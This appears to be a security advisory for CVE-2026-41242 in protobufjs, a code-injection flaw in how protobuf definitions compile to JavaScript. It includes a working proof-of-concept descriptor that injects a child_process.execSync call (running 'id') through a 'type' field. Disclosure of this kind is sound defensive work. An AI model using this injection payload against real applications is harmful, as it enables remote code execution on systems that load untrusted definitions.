CVE-2026-41242

Summary

protobufjs compiles protobuf definitions into JS functions. Attackers can manipulate these definitions to execute arbitrary JS code.

Details

Attackers can inject arbitrary code in the "type" fields of protobuf definitions, which will then execute during object decoding using that definition.

PoC

const protobuf = require('protobufjs');
maliciousDescriptor = JSON.parse(`{"nested":{"User":{"fields":{"id":{"type":"int32","id":1},"data":{"type":"Data(){console.log(process.mainModule.require('child_process').execSync('id').toString())};\\nfunction X","id":2}}},"Data(){console.log(process.mainModule.require('child_process').execSync('id').toString())};\\nfunction X":{"fields":{"content":{"type":"string","id":1}}}}}`)
const root = protobuf.Root.fromJSON(maliciousDescriptor);
const UserType = root.lookupType("User");
const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);
try {
    const user = UserType.decode(userBytes);
} catch (e) {}

Impact

Remote code execution when attackers can control the protobuf definition files.